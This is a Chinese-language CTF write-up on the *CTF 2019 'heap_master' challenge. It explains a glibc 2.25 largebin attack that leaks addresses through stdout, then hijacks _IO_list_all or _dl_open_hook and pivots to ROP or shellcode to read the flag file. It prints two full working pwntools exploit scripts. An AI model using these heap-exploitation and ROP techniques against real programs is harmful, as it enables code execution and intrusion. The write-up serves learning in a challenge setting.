LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

starctf 2019 WriteUp

题目链接

heap_master

largebin attack泄露libc,heap地址,通过覆写IO_list_all或者_dl_open_hook劫持控制流。也可以通过覆写global_max_fast实现main_arena FASTBIN数组位置之后的任意内存地址写入堆地址,进行信息泄露和控制流劫持。

分析

程序保护全开。首先我们看一下程序的反汇编,程序开始随机mmap了一段大小为0x10000大小的内存作为heap_base,接着提供了三种操作add,delete,editadd操作是根据用户输入的大小分配堆块,大小没有限制,但是没有保存指针。edit,delete操作则是根据用户输入的偏移,对heap_base指定偏移位置的堆块进行编辑和删除操作。程序没有输出信息的函数。libc版本为2.25

image-20200714142949615

1
patchelf --set-interpreter /home/pwn/Desktop/windowsDisk/glibc/x64-nodbg/glibc-2.25/lib/ld-2.25.so --set-rpath /home/pwn/Desktop/windowsDisk/glibc/x64-nodbg/glibc-2.25/lib heap_master

利用

ROIS的EXP

  • 利用largebin attackstdout结构体的两个位置处写入堆块地址,覆盖stdoutflag参数,将write_base_ptr的低两位覆盖为0x00,在程序进行输出时就会打印stdout结构体,泄露libc,heap的地址。(heap地址即为falg参数)

    在将unsorted bin中的堆块加入到largebin链表中时,会进行unlink操作,修改当前堆块和相邻两个堆块的fd,bk,fd_nextsize,bk_nextsize指针。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    > while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){
    > ...
    > if (in_smallbin_range (size))
    > {
    > ...
    > }
    > else
    > {
    > victim_index = largebin_index (size);
    > bck = bin_at (av, victim_index);
    > fwd = bck->fd;
    >
    > /* maintain large bins in sorted order */
    > if (fwd != bck)// largebin链表不为空
    > {
    > /* Or with inuse bit to speed comparisons */
    > size |= PREV_INUSE;
    > /* if smaller than smallest, bypass loop below */
    > assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
    > if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
    > {//当前堆块的大小小于最小的堆块,则将当前堆块插入到链表的尾部
    > fwd = bck;//指向链表最后一个堆块
    > bck = bck->bk;
    >
    > victim->fd_nextsize = fwd->fd;
    > victim->bk_nextsize = fwd->fd->bk_nextsize;
    > //将链表首堆块的bk_nextsize和原链表最后一个堆块的fd_nextsize指向当前的chunk
    > fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    > }
    > else
    > {//将当前的chunk插入到largebin链表中的合适位置
    > assert ((fwd->size & NON_MAIN_ARENA) == 0);
    > while ((unsigned long) size < fwd->size)//查找合适的位置
    > {
    > fwd = fwd->fd_nextsize;
    > assert ((fwd->size & NON_MAIN_ARENA) == 0);
    > }
    > //此时fwd指向的是大小恰好小于等于当前chunk的堆块
    > if ((unsigned long) size == (unsigned long) fwd->size)
    > //当前大小的chunk数组不为空,则将当前堆块插入到数组的第二个位置中,插入的操作在之后进行
    > //因为插入到此位置不用修改数组的首堆块的fd_nextsize和bk_nextsize
    > /* Always insert in the second position. */
    > fwd = fwd->fd;
    > else
    > {
    > victim->fd_nextsize = fwd;
    > victim->bk_nextsize = fwd->bk_nextsize;
    > fwd->bk_nextsize = victim;
    > victim->bk_nextsize->fd_nextsize = victim;
    > //上一条语句相当于fwd->bk_nextsize->fd_nextsize=victim;
    > //如果我们控制了fwd指向的即大小恰好小于当前堆块的bk_nextsize的内容,就可以在改地址的+0x20处写入堆地址
    > }
    > bck = fwd->bk;
    > }
    > }
    > else//largebin链表为空则只需要加入链表即可
    > victim->fd_nextsize = victim->bk_nextsize = victim;
    > }
    > //上面我们只对不同大小的largebin数组进行链表的链接,还需要在大小相同的largebin chunk组成的数组中进行插入
    > mark_bin (av, victim_index);
    > victim->bk = bck;
    > victim->fd = fwd;
    > fwd->bk = victim;
    > bck->fd = victim;//该语句相当于fwd->bk->fd=victim;如果我们控制了fwd的bk指针就可以在任意地址+0x10写入堆地址
    >
    > #define MAX_ITERS 10000
    > if (++iters >= MAX_ITERS)
    > break;
    > }
    >

    当FILE结构体中满足下面两个条件时,就会将write_basewrite_ptr之间的内容输出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    > #_IO_new_file_xsputn (if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)))
    > f->flag & 0xa00 >0;
    > #_IO_new_file_overflow f->_flags & _IO_NO_WRITES
    > f->_flags & 0x8 = 0;
    > #new_do_write if (fp->_flags & _IO_IS_APPENDING)
    > f->flag & 0x1000 == 1;(>0)
    > f->write_base != f->write_ptr;
    >
    >
  • 通过largebin attackIO_list_all覆盖为可控内存的地址,并在该内存处伪造IO_FILE结构体,使得执行_IO_overflow时执行IO_str_overflow函数。

  • 通过在IO_FILE结构体的特定位置插入gadget指令的地址,迁移程序栈,控制执行流,执行open;read;write打印flag

largebin attack 泄露libc和heap地址

首先我们在mmap的内存空间中构造几个largebin,这里需要注意的是要在几个largebin之间增加缓冲chunk防止堆块合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
stdout = 0x5600 #根据libc设置,0x5为随机化之后需要碰撞的值

offset = 0x8800-0x7A0

edit(offset+8, p64(0x331)) #chunk1
edit(offset+8+0x330, p64(0x31))# padding chunk
edit(offset+8+0x360, p64(0x411)) #chunk2
edit(offset+8+0x360+0x410, p64(0x31))# padding chunk
edit(offset+8+0x360+0x440, p64(0x411)) #chunk3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))

free(offset+0x10) #chunk1
free(offset+0x10+0x360) #chunk2

释放之后得到两个unsorted binmmap分配的基址为0xd02a5000

image-20200716170930514

1
2
3
4
5
6
7
8
9
add(0x90) # 将unsorted bin放入large bin数组中,分割最小的chunk,剩余部分放入unsorted bin

edit(offset+8+0x360, p64(0x101)*3)
edit(offset+8+0x460, p64(0x101)*3)
edit(offset+8+0x560, p64(0x101)*3)
free(offset+0x10+0x370) # 使得bk_nextsize=main_arena+88,此时fd_nextsize指向0x330-0xa0=0x290大小的unsorted bin
add(0x90)# 分割之后剩余0x60大小堆块位于unsorted bin中,0x290大小的unsorted bin进入small bin数组,此时fd_nextsize和bk_size均指向smallbin[14]的位置,main_arena+328
free(offset+0x10+0x360)
add(0x90)#与之前add情况相同,此时fd,bk,fd_nextsize和bk_nextsize均指向main_arena+328位置

之后我们申请一个0x90大小的堆块的时候,0x410大小的chunk2会放入large bin数组中。

分配的流程是:由于两个unsorted bin都不满足要求(只有一个unsorted bin或者大小恰好等于用户申请的大小),因此两个unsorted bin都会被放入到large bin数组中。small bin数组中并不存在合适的chunk,因此在large bin链表中尾部寻找(从小到大)将0x330大小的堆块切分,剩余的0x290大小的堆块放入unsorted bin中。

由于我们需要通过unsorted binbk,bk_nextsize来覆写stdout结构体来进行信息的泄露,因此我们需要将bk,bk_nextsize覆写为stdout附近的地址,这里使用到的是partial overwrite。我们注意到stdout的地址与main_arena的地址仅后3-4位不同。因此我们可以覆盖main_arena地址的后四位来达到stdout地址的效果。

这里注意的一点是,我们需要修改的是stdout的结构体_IO_2_1_stdout_,stdout中存储的是该结构体的指针

image-20200716171414638

此时要获取main_arena我们还需要在chunk2chunk2+0x10处分别释放unsorted bin,这样才能使得fd,bk,fd_nextsize,bk_nextsize均获得main_arena附近的地址。

image-20200716172157344

之后我们就可以覆写largebin中的bkbk_nextsize指针了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
edit(offset+8+0x360, p64(0x3f1) + p64(0) + p16(stdout-0x10)) #chunk2->bk
edit(offset+8+0x360+0x18, p64(0) + p16(stdout+0x19-0x20)) #chunk2->bk_nextsize

free(offset+0x10+0x360+0x440) #chunk3

add(0x90)

heap = u64(p.recvn(8)) - 0x8800
info('heap @ '+hex(heap))

p.recvn(0x18)

libc.address = u64(p.recvn(8)) - libc.sym['_IO_2_1_stdout_']# + 0x1fe0
info('libc.address @ '+hex(libc.address))

一开始我们将chunk2的大小改为0x3f1,设置好bk,bk_nextsize之后,释放0x440大小的chunk3,在申请堆块的时候就会将chunk2插入到largebin链表中的时候就会想指定的位置写入chunk2堆块的地址。

1
2
victim->bk_nextsize->fd_nextsize = victim;//stdout+0x19-0x20+0x20 = chunk2_address
bck->fd = victim;//stdout-0x10+0x10 = chunk2_address

在覆写完毕之后,flag的参数就会改为堆块的地址,而write_base_ptr的低两位也会被写入到stdout+0x19位置处的堆块地址的高两位覆写为0x00。而此时的flag的数值即堆块的地址恰好满足了限定的条件。

image-20200716172543396

输出的stdout结构体如图所示

image-20200716171710154

如此既可以泄露libcheap的地址。

largebin attack伪造_IO_list_all

传统的覆盖malloc_hook不能使用,因为程序指定了根目录。因此无法执行/bin/shell。只能通过ROP来读取flag

image-20200716134729317

通过largebin attack_IO_lsit_all指针指向我们可控制的内存区域,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
offset = 0x100

edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x511)) #p3
edit(offset+8+0x360+0x540+0x510, p64(0x31))
edit(offset+8+0x360+0x540+0x540, p64(0x31))

free(offset+0x10) #p1
free(offset+0x10+0x360) #p2

add(0x90)# 将unsorted bin插入到largebin 链表中

edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(libc.sym['_IO_list_all']-0x10) + p64(0) + p64(libc.sym['_IO_list_all']-0x20))

free(offset+0x10+0x360+0x540) #free chunk3

add(0x200)#chunk3的大小大于0x4f0,因此插入到chunk2之前

和泄露地址时进行的largebin attack相同,只不过这次不用在bk,bk_nextsize处写入main_arena附近的地址了。在执行完毕之后,_IO_list_all位置被覆写成为了chunk3的地址。

image-20200716172828079

执行ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pp_j = g(0x109c54) # pop rbx ; pop rbp ; jmp rcx
p_rsp_r = g(0x3870) # pop rsp ; ret
p_rsp_r13_r = g(0x203d3) # pop rsp ; pop r13 ; ret
p_rdi_r = g(0x1feaa) # pop rdi ; ret
p_rdx_rsi_r = g(0xf4f09) # pop rdx ; pop rsi ; ret

fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)
_IO_str_jump = p64(libc.address + 0x396500)

orw = [
p_rdi_r, heap,
p_rdx_rsi_r, 0, 0,
libc.sym['open'],
p_rdi_r, 3,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['read'],
p_rdi_r, 1,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['write'],
]

edit(0, './flag\x00\x00' + flat(orw))
edit(offset+0x360+0x540, fake_IO_strfile) # fake stack and gadget 1
edit(offset+0x360+0x540+0xD8, _IO_str_jump) # vtable
edit(offset+0x360+0x540+0xE0, p64(pp_j))# gadget 2

info('b *'+hex(pp_j))

p.sendlineafter('>> ', '0')

p.interactive()

这里需要注意的一点是,我编译的调试符号的libc没有找到 pop rbx ; pop rbp ; jmp rcx的gadget指令,233333

之后构造rop。程序退出的时候,会调用_IO_cleanup函数,函数中首先会调用_IO_flush_all_lockp函数,从_IO_list_all指向的FILE结构体开始刷新每一个FILE结构体表示的文件流,即调用_IO_overflow函数,和FSOP利用过程中malloc_printerrabort刷新文件流相同。

2.24之后的版本中对IO_FILE_plus结构体中的虚表指针vtable进行了检查,其范围必须在_libc_IO_vtables中。因此在offset+0x360+0x540处伪造了一个合法的虚表指针_IO_str_jumps,位于_IO_overflow处的函数指针是_IO_str_overflow

image-20200716181838698

我们跟随程序exit的流程,程序最后跳转到_IO_str_overflow,此时rdi,rbx指向我们伪造的IO_FILE结构体(offset+0x360+0x540)。

image-20200716182123225

继续执行,发现会执行mov rdx,[rdi+0x28]指令,这里我们构造的是pop rsp ; pop r13 ; ret gadget指令的地址。继续执行

image-20200716182439455

执行call [rbx+0xe0],我们在此处构造的是pop rbx ; pop rbp ; jmp rcx指令的地址。跟进这个指令,程序会调转到rdx指向的地址中执行,我们前面已经将rdx赋值为pop rsp ; pop r13 ; ret指令的地址。

image-20200716183057032

pop rsp即将栈迁移到了我们伪造的_IO_FILE结构体处。我们伪造的栈如下

1
p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)

ret返回的时候即开始执行p_rsp_r:pop rsp ; ret。栈被我们迁移到heap_address+0x8的位置。开始执行orw中的rop

image-20200716183759582

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> stack 50
00:0000│ rsp 0xd02a5010 —▸ 0xd02a5000 ◂— /* './flag' */
01:00080xd02a5018 —▸ 0x7ffff7b2ff09 ◂— pop rdx;pop rsi;ret;
02:00100xd02a5020 ◂— 0x0
... ↓
04:00200xd02a5030 —▸ 0x7ffff7b15c50 (open64) ◂— open("./flag")
05:00280xd02a5038 —▸ 0x7ffff7a5aeaa ◂— pop rdi;ret;
06:00300xd02a5040 ◂— 0x3
07:00380xd02a5048 —▸ 0x7ffff7b2ff09 ◂— pop rdx;pop rsi;ret
08:00400xd02a5050 ◂— 0x100
09:00480xd02a5058 —▸ 0xd02a6337 ◂— 0x0
0a:00500xd02a5060 —▸ 0x7ffff7b15e70 (read) ◂— read(3,0xd02a6337.0x100)// 将flag内容写入0xd02a6337
0b:00580xd02a5068 —▸ 0x7ffff7a5aeaa ◂— pop rdi;ret;
0c:00600xd02a5070 ◂— 0x1
0d:00680xd02a5078 —▸ 0x7ffff7b2ff09 ◂— pop rdx;pop rsi;ret;
0e:00700xd02a5080 ◂— 0x100
0f:00780xd02a5088 —▸ 0xd02a6337 ◂— 0x0
10:00800xd02a5090 —▸ 0x7ffff7b15ed0 (write) ◂— write(1,0xd02a6337,0x100)//将0xd02a6337中的内容写入stdout
11:00880xd02a5098 ◂— 0x0

最终将flag的内容输出到stdout

image-20200716184557148

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# encoding=utf-8
from pwn import *
context.update(os='linux', arch='amd64')
context.log_level = "debug"

def g(off):
return libc.address + off

def _add(p, size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def _edit(p, off, cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def _del(p, off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exploit(host, port=60001):
if host:
p = remote(host, port)
guess = 0x40
else:
p = process(['./heap_master'])
gdb.attach(p, "b *0x555555554F6B\n")
# guess = 0x50
add = lambda x: _add(p, x)
edit = lambda x,y: _edit(p, x, y)
free = lambda x: _del(p, x)

stdout = 0x5600

offset = 0x8800-0x7A0

edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x411)) #p2
edit(offset+8+0x360+0x410, p64(0x31))
edit(offset+8+0x360+0x440, p64(0x411)) #p3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))


free(offset+0x10) #p1
free(offset+0x10+0x360) #p2

add(0x90)

edit(offset+8+0x360, p64(0x101)*3)
edit(offset+8+0x460, p64(0x101)*3)
edit(offset+8+0x560, p64(0x101)*3)
free(offset+0x10+0x370)
add(0x90)
free(offset+0x10+0x360)
add(0x90)

edit(offset+8+0x360, p64(0x3f1) + p64(0) + p16(stdout-0x10)) #p2->bk

edit(offset+8+0x360+0x18, p64(0) + p16(stdout+0x19-0x20)) #p2->bk_nextsize

free(offset+0x10+0x360+0x440) #p3

add(0x90)

#p.recv(0x10)

heap = u64(p.recvn(8)) - 0x8800
info('heap @ '+hex(heap))

p.recvn(0x18)

libc.address = u64(p.recvn(8)) - libc.sym['_IO_2_1_stdout_']# + 0x1fe0
info('libc.address @ '+hex(libc.address))

# yet another large bin attack

offset = 0x100

edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x511)) #p3
edit(offset+8+0x360+0x540+0x510, p64(0x31))
edit(offset+8+0x360+0x540+0x540, p64(0x31))

free(offset+0x10) #p1
free(offset+0x10+0x360) #p2

add(0x90)

edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(libc.sym['_IO_list_all']-0x10) + p64(0) + p64(libc.sym['_IO_list_all']-0x20))

free(offset+0x10+0x360+0x540) #p3

add(0x200)

# trigger on exit()

pp_j = g(0x109c54) # pop rbx ; pop rbp ; jmp rcx
p_rsp_r = g(0x3870) # pop rsp ; ret
p_rsp_r13_r = g(0x203d3) # pop rsp ; pop r13 ; ret
p_rdi_r = g(0x1feaa) # pop rdi ; ret
p_rdx_rsi_r = g(0xf4f09) # pop rdx ; pop rsi ; ret

fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)
_IO_str_jump = p64(libc.address + 0x396500)

orw = [
p_rdi_r, heap,
p_rdx_rsi_r, 0, 0,
libc.sym['open'],
p_rdi_r, 3,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['read'],
p_rdi_r, 1,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['write'],
]

edit(0, './flag\x00\x00' + flat(orw))
edit(offset+0x360+0x540, fake_IO_strfile)
edit(offset+0x360+0x540+0xD8, _IO_str_jump)
edit(offset+0x360+0x540+0xE0, p64(pp_j))

info('b *'+hex(pp_j))

p.sendlineafter('>> ', '0')

p.interactive()

if __name__ == '__main__':
libc_path = '/home/pwn/Desktop/windowsDisk/glibc/x64-nodbg/glibc-2.25/lib/libc.so.6'
libc = ELF(libc_path)
exploit('')

官方的EXP

  • 通过largebin attack泄露libc,heap的地址

  • 覆盖_dl_open_hook指针为mmap的内存地址,该地址会在malloc/free函数报错的时候加载到rbx寄存器中(仅限于题目给出的libc,自己编译的libc加载到了rax中)。接着就会调用rbx。(正常情况下可以直接one_gadget获取)

    1
    2
    3
    4
    5
    6
    7
    > static struct dl_open_hook _dl_open_hook =
    > {
    > .dlopen_mode = __libc_dlopen_mode,
    > .dlsym = __libc_dlsym,
    > .dlclose = __libc_dlclose
    > };
    >

    malloc/free函数报错的时候就会执行_dl_open_hook->dlopen_mode (name, mode);

    当堆块加载到rax寄存器的时候需要再次寻找控制rdi寄存器并能继续控制程序执行流的gadget

  • 在第2步中我们已经控制了rbx为堆内存地址,并且获得了程序流。接下里我们可以执行下面的gadget

    1
    2
    3
    .text:000000000007FD7D                 mov     rdi, [rbx+48h]
    .text:000000000007FD81 mov rsi, r13
    .text:000000000007FD84 call qword ptr [rbx+40h]

    这样控制了rdi寄存器,并接着获得控制流。接着利用setcontext中的指令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    .text:0000000000043565                 mov     rsp, [rdi+0A0h]
    .text:000000000004356C mov rbx, [rdi+80h]
    .text:0000000000043573 mov rbp, [rdi+78h]
    .text:0000000000043577 mov r12, [rdi+48h]
    .text:000000000004357B mov r13, [rdi+50h]
    .text:000000000004357F mov r14, [rdi+58h]
    .text:0000000000043583 mov r15, [rdi+60h]
    .text:0000000000043587 mov rcx, [rdi+0A8h]
    .text:000000000004358E push rcx
    .text:000000000004358F mov rsi, [rdi+70h]
    .text:0000000000043593 mov rdx, [rdi+88h]
    .text:000000000004359A mov rcx, [rdi+98h]
    .text:00000000000435A1 mov r8, [rdi+28h]
    .text:00000000000435A5 mov r9, [rdi+30h]
    .text:00000000000435A9 mov rdi, [rdi+68h]
    .text:00000000000435AD xor eax, eax
    .text:00000000000435AF retn

    即可通过rdi指令控制所有的寄存器的值。通过mov rsp, [rdi+0A0h]指令将栈转移到我们可控的内存区间中进行ROP读取flag。(官方的EXP中直接关闭了堆栈不可执行保护,直接执行shellcode)。

largebin attack覆写_dl_open_hook地址

我们跟着调试一下,largebin attack泄露地址与之前的类似,只不过这里利用了两次bk_nextsize指针覆写了stdout相关指针,没有使用到bk指针的读写。获取完毕heap,libc地址之后再次利用largebin attack_dl_open_hook地址覆写为堆块的起始地址。(这里mmap的地址为0xe6c96000

image-20200716215332236

执行ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# 0x7FD7D: mov     rdi, [rbx+48h]
# mov rsi, r13
# call qword ptr [rbx+40h]
# 0x43565: mov rsp, [rdi+0A0h]
f={
0:p64(libc.address + 0x7FD7D),# 控制rbx,再次获取程序流
0x40:p64(libc.address + 0x43565),# 迁移栈帧
0x48:p64(heap_add + 0x5000)
}
# .text:0000000000043565 mov rsp, [rdi+0A0h]
# .text:000000000004356C mov rbx, [rdi+80h]
# .text:0000000000043573 mov rbp, [rdi+78h]
# .text:0000000000043577 mov r12, [rdi+48h]
# .text:000000000004357B mov r13, [rdi+50h]
# .text:000000000004357F mov r14, [rdi+58h]
# .text:0000000000043583 mov r15, [rdi+60h]
# .text:0000000000043587 mov rcx, [rdi+0A8h]
# .text:000000000004358E push rcx
# .text:000000000004358F mov rsi, [rdi+70h]
# .text:0000000000043593 mov rdx, [rdi+88h]
# .text:000000000004359A mov rcx, [rdi+98h]
# .text:00000000000435A1 mov r8, [rdi+28h]
# .text:00000000000435A5 mov r9, [rdi+30h]
# .text:00000000000435A9 mov rdi, [rdi+68h]
# .text:00000000000435AD xor eax, eax
# .text:00000000000435AF retn
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""

shellcode = asm(code,arch="amd64")
rop_f = {
0xa0:heap_add + 0x5100,
0xa8:libc.sym["mprotect"],
0x70:0x10000,
0x88:0x7,
0x68:heap_add,
0x100:heap_add + 0x5108,
0x108:shellcode
}

image-20200716220742964

_dl_open_hook下内存访问断点。

图片无法显示,请联系作者

我们可以看到后面就会调用[rbx],也就是我们的ROP指令。

图片无法显示,请联系作者

继续执行下去,rdi会被赋值为heap_address+0x5000的地址,接着ROP进入到setcontext函数中。rsp被赋值为heap_address+0x5100的地址,rdi被赋值为heap_addressrsi被赋值为0x10000rdx被赋值为0x7rcx被赋值为mprotect的地址。主要到指令之后又push rcx,因此在ret返回的时候函数就会调用mprotect(heap_address, 0x10000, 0x7),关闭了堆栈的不可执行保护。

image-20200716221853509

mprotect函数返回执行heap_address+0x5108地址处的shellcode

image-20200716222117383

最终输出flag

image-20200716222145978

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright © 2019 hzshang <hzshang15@gmail.com>

from pwn import *
context.log_level="debug"
context.arch="amd64"
pwn_file="./heap_master"
elf=ELF(pwn_file)
libc=ELF("./env/share/lib/libc.so.6")
heap_add=0
#stack_add=0
r = None
pid = None
def get_cc():
global r
global pid
if len(sys.argv)==1:
r=process("./heap_master")
pid=r.pid
pid = 0
else:
r=remote("pwn.it",3333)
pid=0

def debug():
log.debug("process pid:%d"%pid)
#log.debug("stack add:0x%x"%stack_add)
log.debug("heap add:0x%x"%heap_add)
log.debug("libc add:0x%x"%libc.address)
pause()

def add(size):
r.sendlineafter(">> ","1")
r.sendlineafter("size: ",str(size))

def free(pc):
r.sendlineafter(">> ","3")
r.sendlineafter("offset: ",str(pc))

def edit(pc,f):
cont = fit(f,filler="\x00")
r.sendlineafter(">> ","2")
r.sendlineafter("offset: ",str(pc))
r.sendlineafter("size: ",str(len(cont)))
r.sendafter("content: ",cont)


get_cc()
gdb.attach(r, "b *0x555555554F6B\n")
# alloc a large bin
f={
0x008:0x421,# chunk1
0x428:0x21,
0x448:0x21,
}
edit(0x1000,f)
free(0x1010) # 释放0x420大小的堆块到unsorted bin中

f={
0x008:0x101,# chunk2
0x108:0x21,
0x128:0x21,
}
edit(0x500,f)
free(0x510)# 释放0x100大小的堆块到unsorted bin中
add(0xf1)# 将unsorted bin中的堆块放到largebin中,此时chunk2已经被申请走了
# edit large bin bk_nextsize
f={
0x8:p64(0x101),
0x108:p64(0x21),
0x128:p64(0x21),
}
edit(0x1010,f)
free(0x1020)
add(0xf0)# 在chunk1的fd_nextsize,bk_nextsize中写入main_arena附近的地址

# alloc a smaller large bin
f={
0x008:0x411,
0x418:0x21,
0x438:0x21,
}
edit(0x2a10,f)
free(0x2a20)

f={
0x008:0x101,
0x108:0x21,
0x128:0x21,
}
edit(0x1500,f)
free(0x1510)# unsorted bin中存在0x410大小和0x100大小的堆块

# overwrite stdout flag
# https://code.woboq.org/userspace/glibc/libio/fileops.c.html#1218
# if f->flag & 0xa00 and f->flag & 0x1000 == 1 then it will leak something when f->write_base != f->write_ptr

edit(0x1028,{0:p16(0x5601-0x20)}) # 覆写bk_nextsize指针
add(0xf1)# 此时flag+0x1位置已经被覆写为堆块的地址
f={
0x8:0x211,
0x218:p64(0x21),
0x238:p64(0x21)
}
edit(0x1010,f)
free(0x1020)
add(0x100)# bk_nextsize位置被覆写为main_arena附近的地址

f={
0x8:p64(0x401),
0x408:p64(0x21),
0x428:p64(0x21),
}
edit(0x3000,f)
free(0x3010)
edit(0x1028,{0:p16(0x5619-0x20)})#再一次覆写bk_nextsize指针
add(0x200)# 此时write_base的低位已经被覆写为0
data = r.recv(0x8,timeout=1)
heap_add = (u64(data)>>8)-0x2a18
r.recvn(0x18)
libc.address = u64(r.recv(8)) -libc.sym['_IO_2_1_stdout_'] # 0x38b6e0

print "heap address", hex(heap_add)
print "libc address", hex(libc.address)

f={
0x8:p64(0x421),
0x28:p64(libc.sym["_dl_open_hook"]-0x20)
}
edit(0x1000,f)
edit(0x3210,{8:0x401})
f={
0:0x400,
8:0x20,
0x28:0x21
}
edit(0x3210+0x400,f)
add(0x500)# _dl_open_hook覆写为offset+0x3210地址
# 0x7FD7D: mov rdi, [rbx+48h]
# mov rsi, r13
# call qword ptr [rbx+40h]
# 0x43565: mov rsp, [rdi+0A0h]
f={
0:p64(libc.address + 0x7FD7D),# 控制rbx,再次获取程序流
0x40:p64(libc.address + 0x43565),# 迁移栈帧
0x48:p64(heap_add + 0x5000)
}
# .text:0000000000043565 mov rsp, [rdi+0A0h]
# .text:000000000004356C mov rbx, [rdi+80h]
# .text:0000000000043573 mov rbp, [rdi+78h]
# .text:0000000000043577 mov r12, [rdi+48h]
# .text:000000000004357B mov r13, [rdi+50h]
# .text:000000000004357F mov r14, [rdi+58h]
# .text:0000000000043583 mov r15, [rdi+60h]
# .text:0000000000043587 mov rcx, [rdi+0A8h]
# .text:000000000004358E push rcx
# .text:000000000004358F mov rsi, [rdi+70h]
# .text:0000000000043593 mov rdx, [rdi+88h]
# .text:000000000004359A mov rcx, [rdi+98h]
# .text:00000000000435A1 mov r8, [rdi+28h]
# .text:00000000000435A5 mov r9, [rdi+30h]
# .text:00000000000435A9 mov rdi, [rdi+68h]
# .text:00000000000435AD xor eax, eax
# .text:00000000000435AF retn
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""

shellcode = asm(code,arch="amd64")
rop_f = {
0xa0:heap_add + 0x5100,
0xa8:libc.sym["mprotect"],
0x70:0x10000,
0x88:0x7,
0x68:heap_add,
0x100:heap_add + 0x5108,
0x108:shellcode
}
edit(0x5000,rop_f)

edit(0x3210,f)
free(0x10)
print r.recvline()
r.interactive()

其他方法

